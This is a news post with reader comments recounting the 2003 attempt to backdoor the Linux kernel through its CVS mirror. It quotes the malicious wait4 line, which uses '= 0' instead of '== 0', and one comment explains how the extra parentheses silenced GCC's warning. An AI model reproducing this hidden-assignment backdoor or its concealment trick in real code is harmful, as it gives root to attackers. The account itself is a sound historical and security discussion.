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The Linux Backdoor Attempt of 2003
Hugh Pickens DOT Com writes "Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel. Back in 2003 Linux used BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. But some people didn't like BitKeeper, so a second copy of the source code was kept in CVS. On November 5, 2003, Larry McAvoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in electronically to the CVS server and inserted a small change to wait4: 'if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) ...' A casual reading makes it look like innocuous error-checking code, but a careful reader would notice that, near the end of the first line, it said '= 0' rather than '== 0' so the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words it's a classic backdoor. We don't know who it was that made the attempt—and we probably never will. But the attempt didn't work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. 'Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack,' writes Felton. 'Unless somebody confesses, or a smoking-gun document turns up, we'll never know.'"
Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit. It could have been a hacker trying to put that code in. How was the system that hosted the CVS repository managed? Was it hacked? Was there any investigation or was it possibly somebody that did something stupid and now everybody thinks it's somehow tied to the NSA?!?!?
Yes, there was an investigation. The name attached to the log entries belonged to someone who said he didn't make the changes.
Obviously you're unaware of how GCC works. Yes, it would have issued a warning message if the line was: ...
wait4: if ((options == (__WCLONE|__WALL)) && current->uid = 0)
But the author of that little backdoor attempt added the extra 'superfluous' parenthesis around the assignment. Like this: ...
wait4: if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
And GCC uses those extra parenthesis as an indication that 'The assignment is deliberate and desired. Don't warn me about it. I know what I'm doing'
In fact, GCC still uses those extra parenthesis as an indication that the warning message should be suppressed.